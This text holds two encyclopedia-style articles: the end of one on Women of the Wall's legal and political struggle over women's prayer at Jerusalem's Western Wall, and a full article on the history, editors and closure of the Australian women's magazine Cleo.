The struggle has led to two Israeli Supreme Court decisions and a series of debates in the Knesset. In its first decision, on May 22, 2002, the Supreme Court ruled that it is legal for Women of the Wall to hold prayer groups and read Torah in the women's section of the main Kotel plaza undisturbed. Four days later, Haredi political parties including Shas introduced several bills to overturn the decision, including a bill that would have made it a criminal offense for women to pray in non-traditional ways at the Western Wall, punishable by up to seven years in prison. In response MK Naomi Chazan said "What have we become? Afghanistan? Iran?" Although the bill did not pass, the Israeli Supreme Court reconsidered its earlier decision. On April 6, 2003, the Court reversed itself and upheld, 5–4, the Israeli government's ban prohibiting the organization from reading Torah or wearing tallit or tefillin at the main public area at the Wall, on the grounds that such continued meetings represented a threat to public safety and order. The Court required the government to provide an alternate site, Robinson's Arch. Plans to construct a small prayer site at Robinson's Arch were unveiled in October 2003. WOW leader Anat Hoffman reacted harshly to the plan. "Now we're going to be praying at an archeological site, at an alternative site for the Jews of a lesser degree." The site was inaugurated in 2004.
Until recently, it was illegal for them to do so under Israeli law.
In December 2012, following pressure from non-Orthodox US Jews, Natan Sharansky, the chairman of the Jewish Agency for Israel, was asked by the Prime Minister to find a solution to the dispute. In response to the detentions at the wall in February 2013, Sharansky said "When I listen to the very partial presentation, I am fully with them — when I listen to the other side, I have to accept that they also have logic. We do have to find a solution in which nobody will feel discriminated against." In April 2013, Sharansky suggested constructing a third, egalitarian prayer center at the Wall that is identical in size and standing to the plaza currently controlled by the Orthodox Jews. This attempt was endorsed by the government to solve the controversy of the wall, but in actuality, this arrangement would have led to the emergence of a new conflict. Instead of ending the quarreling by granting women full rights to worship at the existing wall, the women would have had to fight for recognition among the public at their new area. The area for the women would have been located in what is known as the Robinson's Arch site.
In March 2013, three women MKs used their parliamentary immunity to don prayer shawls and join the Women of the Wall in a show of support after 10 women had been arrested the previous month. MK Stav Shaffir (Labour) said "I usually do not wear a tallit, but it is my honor and duty to stand here and protect the rights of all Jews from around the world to pray as they desire and believe." Tamar Zandberg (Meretz) said: "I demand to enter. The extremist stream's interpretation of the Holy Places Law is unacceptable to me, and I refuse to leave the prayer shawl outside. I am a secular woman but I identify with these women's struggle for freedom of expression and religion." Subsequently, a number of MKs condemned their actions. MK Aliza Lavie (Yesh Atid), who herself supports the right of the women to assemble, said she was "shocked" that fellow MKs decided to blatantly disobey the law and ignore Supreme Court rulings. MK Miri Regev (Likud) called the MKs attendance a "provocation" and referred to the groups "anarchistic actions" which had "turned into a national sport among the extreme Left in Israel." MK Uri Ariel (Bayit Yehudi) called the women radicals and suggested that their "gross violations" at the site may lead to civil war.
In May 2013, after bowing to pressure from non-Orthodox diaspora Jews, the government issued a directive for the legal dispute to be solved. A subsequent Appellate Court ruling gave permission for the Women of the Wall to hold services at the site after deciding that their prayer and ritual were not against the "local custom" and since the women did not use physical or verbal violence, they could not be held responsible for any resulting disturbances. The Rabbi of the Western Wall, however, continues to view their presence as a provocation.
They have the support of large American non-Orthodox denominations, which view the issue of women's rights to pray at the Wall as a high-profile opportunity to promote gender-egalitarian Jewish prayer, which most Israelis have never experienced. They also want to remove the control of the holy site from the hands of the Western Wall rabbi.
The arrests have been criticized by groups promoting religious pluralism in Israel. The Central Conference of American Rabbis (CCAR), condemned the arrest of Anat Hoffman and called it a "desecration of God's name".
In October 2014, Women of the Wall launched a campaign to encourage girls to have their bat mitzvah services at the Kotel. Unlike most American non-Orthodox Jewish girls, Israeli Jewish girls typically do not celebrate a bat mitzvah by reading from their Torah portion. The ad campaign features girls wearing prayer shawls and holding a Torah scroll in front of the wall. The ad, placed on Israeli buses, has the caption, "Mom, I also want a bat mitzvah at the Kotel!" The Western Wall Heritage Foundation, which is controlled by the Orthodox and oversees events at the wall, not only runs a business of bar mitzvahs for boys that has excluded girls from their offerings, but has refused to permit women to carry Torah scrolls at the wall. Several of the campaign ads were soon vandalized in Orthodox neighborhoods. The ad campaign received international publicity when religious extremists carried out violent attacks in Jerusalem. About fifty Jewish men in the ultra-Orthodox neighborhood of Mea Shearim engaged in hurling rocks and slashing tires of public buses carrying ads for the egalitarian services for girls. On October 24, 2014, a Bat Mitzvah was celebrated by the group at the wall using a miniaturized Torah scroll which they smuggled in. Although the women have won the legal right to pray in their fashion at the wall, Rabbi Shmuel Rabinowitz, the Supervisor of the Western Wall, has refused to allow the women to use the Torah scrolls distributed in the men's section or to bring their own. The group said that a reading from the Torah scroll in the women's section was an historic event.
On December 18, 2014, Women of the Wall held a women's candle lighting at the Kotel. For Hanukkah every year a giant menorah is erected in the men's section of the Western Wall and each night of the eight nights of the festival, male rabbis and male politicians are honored, while women remain in the women's section, where they are able to see the ceremony with some difficulty. At the Women of the Wall ceremony, women brought their personal menorahs. They invited Jews around the world to light a candle for WoW on the third night of Hanukkah. Wow sent a letter to Prime Minister Benjamin Netanyahu requesting a large menorah also be erected in the women's section just as there is one in the men's section, but Netanyahu simply forwarded the letter to Western Wall rabbi Shmuel Rabinowitz, who accused WoW of ulterior motives of trying to change the customs at the Wall. Responding to Rabinowitz' accusation, Anat Hoffman noted: "In his letter, Rabbi Rabinowitz speaks of bringing together and uniting the nation, and yet his actions exclude and discriminate against women as if women are not part of the same nation. Since he was chosen for this public position, Rabinowitz has never invited Women of the Wall or any other women to participate in the ceremonies or to be honored with the lighting of a candle at the Kotel on Hanukkah, despite the fact that women are obligated equally to men in this religious act." Initially, the personal menorahs the women brought to the Kotel were confiscated, but they were returned when police were called.
In April 2015 Women of the Wall participated in reading from a full-size Torah scroll at the organization's service at the Western Wall. One hundred Torah scrolls are kept for the use of the men's side of the Western Wall and male supporters of Women of the Wall passed a Torah scroll across the barrier into the women's section for Women of the Wall's service.
| Eyewitnesses reported that as women were reading from the scroll, several ultra-Orthodox men physically attacked WoW's male supporters and then entered the women's section in an unsuccessful attempt to retrieve the Torah scroll. Police intervened and stopped them. Following the Torah reading service, WoW members in the women's section danced with the scroll. "This is the first time that Women of the Wall can stand up and be counted as a part of the public," proclaimed Anat Hoffman, the chair of WoW. "Nothing you could say could tear me away from my Torah." Rabbi Shmuel Rabinovitch, the head of the rabbinic authority of the Western Wall, called the women's Torah reading a provocation and said "the Israel Police and employees of the Western Wall had to work hard in order to avoid bloodshed."
In January 2016, the Israeli Cabinet approved a plan to designate a new space at the Kotel that would be available for egalitarian prayer and which would not be controlled by the Rabbinate. Women of the Wall welcomed the decision. A group calling itself Original Women of the Wall, which includes founding members of WoW and which contends that WOW has broken away from the original and on-going charter of the group. Original Women of the Wall does not agree with the compromise and said its members will continue to hold prayer services at the Western Wall, praying as is their custom, with prayer shawls and tefillin. Palestinian Minister of Waqf and Religious Affairs Youssef Ideiss protested that the proposed egalitarian prayer section at the Western Wall violates the status-quo agreement governing the area.
In March 2016 MK Meir Porush was reprimanded by the Knesset ethics committee in 2016 because they determined that he "deviated radically and blatantly from the accepted way to express oneself in the Knesset or what is appropriate for an MK." In a speech before the Knesset Porush said that the Women of the Wall should be "thrown to the dogs". The committee noted that such "scornful" remarks would be "deplored harshly" had they been spoken about Jews by any other government outside Israel. Porush responded by saying that if "Women of the Wall" refrained from eating non-Kosher food, he would apologize to them.
In 2017 the Israeli High Court ruled that if the government of Israel could not find "good cause" to prohibit women reading from the Torah in prayer services at the Kotel within 30 days, women could do so; they also ruled that the Israeli government could no longer argue that the Robinson's Arch area of the plaza is access to the Kotel. The petition for women to read from the Torah at the Kotel had been brought by a group that split off from the Women of the Wall, calling itself the "Original Women of the Wall". However, later that year it was announced that the plan approved in January 2016 to designate a new space at the Kotel that would be available for egalitarian prayer and which would not be controlled by the Rabbinate had been suspended.
Events since the ruling of April 24, 2013
Arrests and detainment
In their struggle for civil rights and religious freedom, members of the group have been willing to engage in civil disobedience and become "prisoners of conscience".
Several members of the group have been arrested for acts that Women of the Wall members say are legal under the Supreme Court ruling. Nofrat Frenkel was arrested for wearing a tallit under her coat and holding a Torah in November 2009. She was not charged, but she was barred from visiting the Wall for two weeks.
The group's leader, Anat Hoffman, was interrogated by the police in January 2010, fingerprinted, and told that she could be charged with a felony over her involvement with Women of the Wall. The questioning concerned WOW's December service, during which Hoffman said she did not do anything out of the ordinary.
On July 12, 2010, Hoffman was arrested for holding a Torah scroll. She was fined 5,000 NIS and given a restraining order according to which she was not allowed to approach the Kotel for thirty days.
On October 16, 2012, Hoffman was arrested again. She was accused of singing out loud and disturbing the peace, and was released from police custody the following day. The following morning Lesley Sachs and board member Rachel Cohen Yeshurun were detained for "disturbing public order". Hoffman described the ordeal: "In the past when I was detained I had to have a policewoman come with me to the bathroom, but this was something different. This time they checked me naked, completely, without my underwear. They dragged me on the floor 15 meters; my arms are bruised. They put me in a cell without a bed, with three other prisoners, including a prostitute and a car thief. They threw the food through a little window in the door. I laid on the floor covered with my tallit. I'm a tough cookie, but I was just so miserable. And for what? I was with the Hadassah women saying Sh'ma Yisrael."
On February 11, 2013, ten women who were part of WOW, including two American rabbis, were detained for praying at the wall and "as a result of them wearing the garments that they're not allowed to wear specifically at that site." The women were barred from returning for 15 days.
On April 11, 2013, five women were detained for allegedly goading and offending other worshippers. They were subsequently released by Judge Sharon Larry-Bavili without restrictions as she ruled that the female worshippers did not instigate the disturbance, but rather it was the male and female Orthodox protestors countering them that initiated it.
In April 2013, a group UK Progressive rabbis protested to the Israeli ambassador calling threats to arrest women saying Kaddish "shocking".
On July 17, 2015, Women of the Wall board member Rachel Cohen Yeshurun was arrested by police in the prayer section of the Kotel after smuggling in a Torah Scroll to the Kotel in the early morning before the Rosh Hodesh service began.
On June 7, 2016, Women of the Wall Executive Director Leslie Sachs was detained by police for 'smuggling' a Torah into the Kotel, and according to a statement released by Women of the Wall detained for 'disturbing the public order'.
On June 14, 2018, several Women of the Wall board members were briefly detained outside the Western Wall plaza by police demanding to see their ID.
Women of the Wall's position
The Women of the Wall have consistently claimed that there is no single "custom of the place" and that their right to pray is a religious freedom enshrined in Israeli law. They believe the Western Wall is a religious site as well as a national site and therefore belongs to the entire Jewish population. Their efforts to challenge the current customs at the Wall and break the ritual status quo continues as they believe that the Wall is a holy place for all Jews. They repeatedly stress that the group is not Reform Jews, but come from all affiliations and that their conduct strictly adheres to Orthodox Jewish Law and that their prayer is genuine and not a political stunt. Orthodox Jewish law strictly prohibits women reading from the Torah, and to a lesser degree women wearing tallit and kippahs. Their central mission is to "achieve the social and legal recognition of our right, as women, to wear prayer shawls, pray and read from the Torah collectively and out loud at the Western Wall." The women have made progress and as of 1988, the women have held occasional, uninterrupted prayer services wearing tallitot and tefillin.
Israeli Orthodox establishment's position
The Israeli Orthodox Jewish religious establishment is opposed to the services conducted by the Women of the Wall. Orthodox rabbis claim that even if such a manner of prayer is theoretically permitted by Jewish Law, it is against Jewish custom. Even if support can be found in Jewish legal sources for various activities, the force of custom is equal to absolute law and it is the custom which determines proper conduct. Various legal opinions recorded in Halacha cannot be manipulated to introduce new forms of prayer. The opinion of Rabbi Moshe Feinstein, which is cited by Women of the Wall in support of their cause, is rejected by the establishment, as they view the Women of the Wall as being motivated by feminism rather than a sincere spiritual desire. Their struggle is also seen as an attempt to undermine their influence and as a strategy for non-Orthodox groups to gradually gain official recognition at state level, paving the way for the introduction of religious pluralism in Israel. In a letter to the group, Yehuda Getz, the government appointed rabbi of the Western Wall, urged them to stop "straying from the hallowed traditions of generations of Jews before you" and in 1989, the Israeli Chief Rabbi Avraham Shapiro and the Religious Affairs Minister suggested that these women "pray individually, silently, and preferably at home – not at the wall."
Public response
From the outset, the Women of the Wall have been subjected to heckling and abuse from male and female Orthodox worshipers. More recently, those who oppose the Women of the Wall have been criticized by Israel's predominantly secular society, which objects not only to the harassment of Women of the Wall but attempts to ban mixing of genders in public places such buses and sidewalks.
In 1996, UTJ MK Israel Eichler wrote: "No one prevents anyone else from praying at the wall in his own fashion, but the wall is the last place to carry out a battle for the right of a woman to wear a tallit, read from the Torah, wear a kippa and grow a beard." MK Yaakov Litzman stated that "there is no desecration greater than that of women who come to desecrate the holiness of the Western Wall with all kinds of provocations such as carrying a Torah scroll and other things reserved by Jewish law only to men." In 2009, former chief rabbi Ovadia Yosef said: "There are stupid women who come to the Western Wall, put on a tallit (prayer shawl), and pray... These are deviants who serve equality, not Heaven. They must be condemned and warned of." Rabbi Yosef Reinman suggested that it is "not religious need," but rather "religious politics" which motivates the woman. Prominent Orthodox women have also disapproved of the group. Nehama Leibowitz likened their worship to a form of "sport", and the widow of Sephardi Chief Rabbi Mordechai Eliyahu said the group had "gone completely mad" and their actions amount to "desecration". Ultra-Orthodox former Jerusalem city councilwoman Mina Fenton said the women are "a fringe group that attracts people who read the prayer book upside down." The Religious Zionist leadership also voiced its concern in May 2013 when a group of influential rabbis issued a letter calling on public figures "not to let a small group offend the thousands of worshippers arriving to pray at this sacred place on a regular basis." They went on to state that "there are those who have been trying in recent years to change the present situation, offending many and tainting the special atmosphere of holiness of this sacred place."
Disapproval included a wide range of name-calling, such as calling Women of the Wall "witches", "prostitutes", "weird", "childish", and "provocateurs", for wanting to pray in their fashion. The Israeli state and Ministry of Religion referred to Women of the Wall as "witches", who were doing "Satan's work"; "more like prostitutes than women"; "misled, tainted, by modern secular feminism". Yet indifference and condemnation for the women's plight came from all sectors of Israeli society, not just from the religious right. Even liberals saw their actions as a "provocation", and women's organisations in Israel viewed their behaviour as "weird and objectionable". Hillel Halkin called them "childish provocateurs" and Ithamar Handelman-Smith wondered what the Women of the Wall wanted to achieve. Israeli society in general and the secular media were also initially unsympathetic to their cause, possibly reflecting a general hostility to feminism. Susan Sered suggests the public saw the group as "symbolically desecrating Judaism's holiest site" and claims that many in Israel saw the group as "American Reform interlopers trying to appropriate a state symbol of national identity." Their demands were seen as radical and foreign to Israeli society and their actions "alienated Israelis of almost all political persuasions". Consequently, the women at first received minimal grass-roots support. Lahav explains that secular indifference results from an acceptance of the view espoused by the Orthodox establishment when it comes to religious issues and that those on the Left of the political spectrum ignore the women in an attempt to gain Orthodox support for their dovish positions on the Arab-Israeli conflict.
Popular support for the women initially came mainly from Reform and Liberal communities in North America. In 1990, the Central Conference of American Rabbis encouraged its members to support Women of the Wall. In 2000, the Union for Reform Judaism declared it "warmly commends the Women of the Wall for its courageous and principled struggle to be allowed to pray at the Western Wall" and urged Reform congregations to "express solidarity with the Women of the Wall in appropriate ways." Recently, a number of non-Orthodox gatherings and services have been held publicly in America in solidarity with the Women of the Wall.<ref>NYC Prayer Service Supports Women of the Wall, Tablet, (May 10, 2013).</ref>
Within the Reform movement, WOW has faced both support and criticism. Rabbi Gilad Kariv, who is considered the leader of the Reform movement in Israel, argued that WOW's request of 11 hours a year did not indicate an urgency that required a change in policy, but he came to support WOW's goals because they align with the Reform movement's opposition to the exclusion of women from religious society in Israel.
By 2013, however, about half of Israeli Jews approved of Women of the Wall and their mission, with the greatest support coming from secular, educated Ashkenazi Jews. Pollsters for the Israeli Democracy Institute (IDI) and Tel Aviv University surveyed Jews in Israel and found that a clear majority, 64%, of those who defined themselves as secular, and 53% of those who described themselves as traditional but not religious supported the right of Women of the Wall to worship in their fashion. A minority of those who described themselves as traditional religious or Ultra-Orthodox approved. The results showed that overall, 51.8% of men and 46% of women supported Women of the Wall and their right to pray in their fashion at the Wall.
Scholarly opinions
Some Jewish feminist activists in Israel have seen the Women of the Wall's activities as being inconsistent with their political activities. Leah Shakdiel of the anti-war group Women in Black describes the Wall as "all maleness and war". Shakdiel maintains that Israeli society's general opposition to the Women of the Wall is a result of a religious and secular alliance against what they perceive as a feminist challenge. Ran Hirschl believes the conflict is "a contest for cultural hegemony between a secularist-libertarian elite and traditionally peripheral group," namely the ultra-Orthodox community. Frances Raday posits that the violent opposition by Orthodox Jews stems from the "desire of the Orthodox establishment to preserve religious patriarchal hegemony against the challenge of religious feminism," rather than an attempt to preserve Jewish Law itself.
Phyllis Chesler of Women of the Wall wrote: "We asked for our rights under civil and religious law. When we prayed, other worshipers, both men and women, verbally and physically assaulted us. We asked the Israeli state to protect us so that we could exercise our rights. The state claimed it could not contain the violence against us, and that we ourselves had provoked the violence by "disturbing/offending" the "sensibilities of Jews at worship". Women are not seen as "Jews" or as "worshipers" with "sensibilities".
See also
Role of women in Judaism
Jewish feminism
Freedom of religion
Women in Israel
Sexism in Israel
References
Bibliography
Further reading
Chesler, Phylis and Rivka Haut (editors). Women of the Wall: Claiming Sacred Ground at Judaism's Holy Site. Jewish Lights Publishing (December 2002). A collection of 35 essays.
Haberman, Bonna Devora, Women of the Wall: From Text to Praxis. Journal of Feminist Studies in Religion 13/1 (Spring 1997): 5-34.
Shakdiel, Leah. Women of the Wall: Radical Feminism as an Opportunity for a New Discourse in Israel, Journal of Israeli History, 21(1/2) (2002)/
Sztokman, Elana Maryles. "The War on Women in Israel: A Story of Religious Radicalism and the Women Fighting for Freedom". Sourcebooks (2014)
Jobani Yuval and Perez Nahshon. Women of the Wall: Navigating Religion in Sacred Sites. Oxford University Press, 2017.
External links
Berman, Daphna. Anat Hoffman Dares to Take On Israel’s Orthodox Establishment. Can She Win?, Moment'', March–April 2013.
Katzir, Yael. Praying in Her Own Voice . Documentary film. New Love Films: 2007.
Jobani, Yuval and Nahshon Perez. Ungoverning the Western Wall, Jewish Review of Books, March 15, 2019.
Feminism in Israel
Freedom of religion
Jewish feminism
Jewish religious organizations
Jews and Judaism in Jerusalem
Judaism-related controversies
Misogyny
Orthodox Jewish feminism
Religion in Israel
Sex segregation and Judaism
Western Wall
Women's organizations based in Israel
Women's religious organizations
Women's rights in Israel
Sexism in Israel
1988 establishments in Israel
Jewish women's organizations
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https://en.wikipedia.org/wiki/Cleo%20%28magazine%29
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Cleo (magazine)
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Cleo is an Australian monthly women's magazine. The magazine was founded in 1972 in Australia; the Australia and New Zealand editions were discontinued in February 2016. Aimed at an older audience than the teenage-focused Australian magazine Dolly, Cleo was published by Bauer Media Group in Sydney and was known for its Cleo Bachelor of the Year award. In June 2020, Cleo was acquired by the Sydney investment firm Mercury Capital.
History and profile
Launched in November 1972 under the direction of Ita Buttrose, the magazine's founding editor, Cleo became one of Australia's most iconic titles due to its mix of seemingly controversial content, including the first nude male centerfold (following American Cosmopolitan's nude centerfold of Burt Reynolds six months' earlier) and detailed sex advice.
According to the magazine's editorial philosophy, "Cleo gets women, and it also strikes the perfect balance, offers a bright, light-hearted tone and aesthetic without shying away from the more serious issues that are important to their readers.".
Audited circulation in June 2014 was 53,221 copies monthly. Readership numbers for September 2014 are estimated to be 173,000.
With a strong online presence of 300,000+ visitors monthly, the magazine successfully established its brand online. In addition, Beauty Bites, Cleos digital app, offered an interactive component to technologically minded Gen Y readers, including how-to video tutorials, expert advice and reader-generated content.
Cleo Singapore was launched in 1994, Cleo Malaysia in 1995, and Cleo Indonesia was launched in 2007 as an international license under the Femina Group.
Cleo Thailand operated sometime before 2014.
Bauer announced on 20 January 2016 that the March issue of Cleo would be its last Australian edition.
Launch
In the early 1970s, journalist and editor, Ita Buttrose, and Kerry Packer, heir to what was then Australia's most influential publishing house, Australian Consolidated Press (ACP), created a new and bold Australian women's magazine which would become an instant sensation.
Cleo was modelled in a large part on Cosmopolitan after the Packers lost the rights to the latter title to rivals Fairfax. The first issue was launched in November 1972, the same month that Gough Whitlam came to power in Australia.
In the original promotional video for Cleo, Buttrose observes "the rapidly changing personality of the Australian woman." In an era when hopes for social and political change were high, Cleo was a fitting and welcome addition for women aged between 20 and 40 who were looking for something more than the recipes, knitting tips and coverage of royal births and weddings that the Australian Women's Weekly focused on at the time.
Cleo was politically provocative (but not aggressive) with its journalism. Alongside articles on group sex, contraception, "happy hookers" and Jack Thompson as the first nude "Mate of the Month", the launch issue featured tips on "How to be a sexy housekeeper." In stark contrast to the lack of literary content in modern glossy magazines, Buttrose ran a short story by Norman Mailer, a prominent author at the time. This trend continued in subsequent issues.
In two days, 105,000 copies of the first issue were sold and by the end of its first year circulation reached 200,000. When the magazine conducted the first national readership survey in 1974, figures revealed that 30 percent of women aged between 13 and 24 read Cleo every month.
Cleo as a form of popular feminism
Through Cleo, feminism became a part of women's everyday lives and of their identity.
Ita Buttrose and her staff were committed to many of the ideas of women's and sexual liberation. However, it is important to note that Cleo'''s editorial agenda was that of liberal rather than radical feminism. In her first editorial letter, Buttrose described who she thought the Cleo reader was: "You're an intelligent woman who's interested in everything that's going on, the type of person who wants a great deal more out of life. Like us, certain aspects of Women's Lib appeal to you but you're not aggressive about it." (1972).
The feminist tone and ideas proliferated on the pages of Cleo throughout the 1970s. Every month, there were feature articles covering issues including: the work/life balance, the pressure to get married and raise a family, abortion, contraception, women's education, domestic violence and rape. "The celebrities Cleo chose to interview were women who had succeeded in politics, business and culture. There were also discussions of the Women's Liberation Movement itself, with writers for and against".
Ordinary, every-day women gained knowledge and understanding of feminism through the pages of Cleo. The magazine helped create the feminist public sphere, opening doors for discussions about new ideas which modern women treat as mainstream today.
Cleo jump starts the sexual revolutionCleo pushed boundaries in mainstream publishing with candid articles on topics ranging from sex toys, fantasies and orgasms, to lesbianism and contraception. "We wrote about sex as if we had discovered it", recalls Buttrose.Cleo was the first Australian women's magazine to feature non-frontal nude male centrefolds in 1972, with Jack Thompson, a prominent Australian actor at the time, the magazine's first Mate of the Month. What Buttrose thought would be a light hearted, one-off feature became an essential component of what made Cleo so popular. Other mates were Alby Mangels, Eric Oldfield, Peter Blasina and the band Skyhooks. The centrefold feature was discontinued in 1985, the last being a bare-chested picture of Mel Gibson.
University of Sydney media academic Megan Le Masurier interprets the centerfold phenomenon as an incentive for popular feminist desire. The centerfold attempted to reverse the dominant tradition of representing men as viewers, and women as viewed. The representation of the male nude "offered women the chance to imagine themselves as active sexual agents, quite capable of holding the gaze". The naked man was a reminder that women could, and should, enjoy sex, and reaffirmed their right to talk about sex.
Sex no longer sells
In 2013, new editor Sharri Markson announced there would be no mention of sex on the cover of Cleo. More than 40 years after revamping women's magazines with male centrefolds, it was the first time that sex had not been used as a selling point.
The move came as a result of research conducted by the magazine which revealed a conservative streak among Generation Y readers – Cleos largest audience demographic – most of whom still live at home.
As Markson explained: "They are embarrassed to be sitting at home with their parents reading a magazine which has the word 'orgasm' in bold print on the cover".
In the pages of Cleo, all the racy content of the earlier, more progressive era was replaced with celebrity news and fashion, beauty and fitness tips.
Now sexy, according to December 2014 cover girl Taylor Swift is "knowing who you are and not needing to defend yourself."
As seen through the pages of Cleo, there was a shift away from sexual liberation to personal gratification and self-improvement, a maxim characteristic of Generation Y.
Bauer: new owner, new direction
In October 2012, multinational publisher Bauer Media purchased Australian magazine publisher ACP, which controls titles ranging from Cleo magazine to The Australian Women's Weekly This change of ownership meant drastic changes for the staff and readers of Cleo magazine.
Merge of editorial staff: Dolly and Cleo
A primary cost-cutting measure taken by Bauer was to merge the editorial staff of Dolly and Cleo magazines, reducing the staff size by half and appointing a single Editor-in-Chief for both magazines.
This was presented as a move to unite the two magazines under a "young women's lifestyles division".
Observers argue that these two magazines are in fact not directed at the same generalised market. Where Dolly targets teenage girls, Cleo focuses on an older group, women in their twenties and thirties.
Imported content
Bauer Media also now uses "content translated from Bauer's youth titles Joy and Bravo which the publishing house produce in Germany", reducing the amount of original Australian content across the magazines, but reducing the cost of producing issues across their titles.
Lucy Cousins appointed Editor-in-Chief
In 2014, Lucy Cousins was appointed Editor-in-Chief of Bauer's newly merged Dolly and Cleo magazines. Cousins was previously employed as Deputy Editor at Bauer's Women's Fitness magazine.
Cousins says of Cleo magazine:"CLEO magazine is and has always been a bible of all things fashion, beauty and celebrity for young Australian women. And now we've added travel, lifestyle, music and the new CLEO man section. We have attitude and aren't afraid to push the boundaries."Past editors' opinions on Bauer's changes
Mia Freedman: "Like most Australian women, Dolly and Cleo in particular were my lifeblood growing up and sparked my love of women's media back in the 80s and 90s. [I'm] frustrated and disappointed at the lack of business foresight that has brought those titles to this point. One of the reasons I left magazines was because I was so tired of trying to get my bosses to understand that Armageddon was coming in the form of online. I knew the young women's market was the most vulnerable. But nobody would listen so I left and started Mamamia...Publishers didn't realise they were content producers, they kept acting like magazine makers"Lisa Wilkinson on Twitter: "Very sad to hear news that Dolly & Cleo magazines are merging, with expected losses of half the staff. End of an era. And a personal one."Wilkinson believes that it will take "somebody who is an incredibly smart magazine editor and someone who understands the subtle but very important differences that are going to have to exist between those two magazines" to ensure the survival of both Dolly and Cleo magazines.
Readership figures 2013–14
It appears that Bauer's changes did not improve the continuing drop in circulation of Cleo magazine. Cleo suffered a steady decline in circulation due to changes in the way media was consumed and the failure of publishers in the 1990s and 2000s (decade) to follow their readers online. Statistics showed Cleo suffered a 28.2% drop between September 2013 and September 2014, with a readership size of 173,000 in September 2014.
Bauer Media however argued that it experienced a 100% increase in "social media growth" in that time period, suggesting that indeed the reason why readership figures fell was due to the movement from print media to the online world of blogs, forums and Facebook. They also stated that the best that Bauer Media could do to ensure the continuation of Australian magazines like Cleo was to minimise its production costs and hope that it can catch up with digital media.
Final issue 2016
On 20 January 2016, Bauer Media Group confirmed that Cleo magazine would close in Australia after more than 40 years of publication, with the final issue being March, on sale 22 February. Cleo magazine's final cover, for the March edition, would feature Jesinta Campbell.
Mercury Capital acquisition
In June 2020, Cleo was acquired by the Sydney investment firm Mercury Capital as part of its acquisition of several of Bauer Media's former Australian and New Zealand titles.
Noteworthy editors
Ita Buttrose
Ita Buttrose started as a copy girl at the Australian Women's Weekly, she quickly became a cadet journalist at The Daily Telegraph and its sister newspaper Sunday Telegraph before taking over as women's editor at the age of 23. Buttrose would go on to become the first female Editor-in-Chief of these two newspapers and the first woman appointed to the board position with News Limited.
Her arguably most well known role began in 1972, as the founding editor of Cleo magazine where she achieved such great success that it led to a promotion in 1975, editing the Packers' flagship magazine at the time, the Australian Women's Weekly. She subsequently became editor-in-chief of both publications.
Buttrose played an important role in shaping women's identity in the 1970s through the pages of Cleo. She had the talent and conviction to take advantage of this period of social and political change, with new ideas about sexual freedom, female independence and gender equality heavily promoted in her magazine.
Despite scepticism from Sir Frank Packer, the Publisher, Buttrose's hunch that Cleo would appeal to modern Australian women proved to be right, with the magazine becoming the top selling monthly women's title and elevating Buttrose to the status of a feminist icon and magazine queen.
Andrew Cowell, the art director on the debut edition of Cleo said: "Ita's always had a talent to tap into a real need. She's always been a forward thinker, which keeps her ahead of the curve and able to make instinctive decisions. If Ita had a gut feeling for something, you were best to go with it."
Since 2011, Buttrose has been National President of Alzheimer's Australia and is also Vice-President of Arthritis Australia. In 2013, she was named Australian of the Year. Buttrose uses her high-profile to champion social issues such as women's education and raise awareness of breast cancer and HIV/AIDS.
Lisa Wilkinson
Lisa Wilkinson's career in magazine publishing started at age 19 with no university education, as the enthusiastic secretary/editorial assistant/Girl Friday at Dolly magazine. After rising to the editorship of Dolly in only 5 years, Wilkinson took over the position of Cleo magazine editor in 1984, and reigned there for ten years. Later she became Cleo's International Editor-in-Chief, running editions in New Zealand, Singapore, Malaysia and Thailand. Under Wilkinson, Cleo magazine became the highest selling women's magazine per capita in the world.
A significant change made by Wilkinson at Cleo was the replacement of the Cleo centerfold with the Bachelor of the Year competition in 1985. Cleo magazine presents an annual round up of the 50 most eligible bachelors in Australia, and encourages readers to vote for their favourite eligible bachelor.
Wilkinson also mentored numerous high-profile women in Australian media today. Nicole Kidman, Miranda Kerr, Deborah Thomas, Paula Joye and Mia Freedman all credit her as a long-time supporter.
After her career as a magazine editor, Wilkinson established her own media consultancy business and hosted breakfast talk show Today on the Nine Network, with Karl Stefanovic, before joining A Current Affair's program The Project on Network Ten.
Deborah Thomas
Deborah Thomas' career in magazine publishing started at Cleo magazine as Beauty and Lifestyle editor in 1987. She became deputy editor at Cleo in 1990, and was editor at Mode (now Harper's Bazaar) and Elle magazines until she took over the Editorship at Cleo from 1997 to 1999 where she "revive[d] the magazine's falling circulation and advertising revenue".
After Cleo magazine, Thomas became Editor-in-Chief of The Australian Women's Weekly and was awarded Editor of the Year in 2002 for her efforts at the iconic magazine. Later, Thomas was Director of Media, Public Affairs and Brand Development across Bauer Media's portfolio of 70-plus titles. In April 2015 she was appointed as CEO (chief executive officer) of Ardent Leisure.
Mia Freedman
Mia Freedman's first foray into magazine publishing was also at Cleo – doing work experience under then-editor Lisa Wilkinson. Freedman became the youngest ever editor of Cosmopolitan magazine at age 24, and at 32 became Editor-in-Chief of Dolly, Cleo and Cosmo.
Freedman moved away from magazine publishing in 2007 and is now the publisher and editor behind popular women's interest website Mamamia, while continuing to write articles and books across numerous publications.
Sarah Oakes
Sarah Oakes is an experienced editor who has worked on a number of Australian publications such as K-Zone and Girlfriend and received many accolades throughout her career. She was the youngest ever recipient of the Magazine Publishers' Awards, Editor of the Year Award in 2005. Oakes was the editor-in-chief of Cleo between 2008 and 2010, where she repositioned the title and had great success with the Cleo 'Bachelor of the Year' campaigns. While at Cleo, Oakes was also a finalist in the Good Editor Awards. Oakes currently holds the position of editor of Sunday Life, a Fairfax publication that has a readership of more than 1.6 million.
Oakes' innovative changes for Cleo
New editorial line-up
Oakes presided over the relaunch and repositioning of Cleo in October 2009. She has signed-up a veteran magazine editor and fashion stylist Aileen Marr as the new Fashion Director and Pip Edwards as Contributing Fashion Editor. The October issue in 2008 hence started to feature more fashion pages up front, introduce new sections and launch more beauty pages, including a market-first beauty panel. Such a strong fashion editorial team cemented Cleo's status as an invaluable source of information for women who want to stay on top of fashion trends.
"Models only" policy overturned
Oakes also brought celebrities back to the Cleo cover instead of "models only" policy introduced in the late 2007.
New "honesty policy"
Introduced in the August 2008 issue, this policy was designed to appeal to Generation Y, with readers invited to critique each issue in return for prizes such as iPhones and designer bags. As then editor Oakes explained, "Every month we will ask our readers online to give feedback (which will be) incorporated into the magazine the following month. We are doing all the things that motivate Generation Y: instant gratification and personalisation."
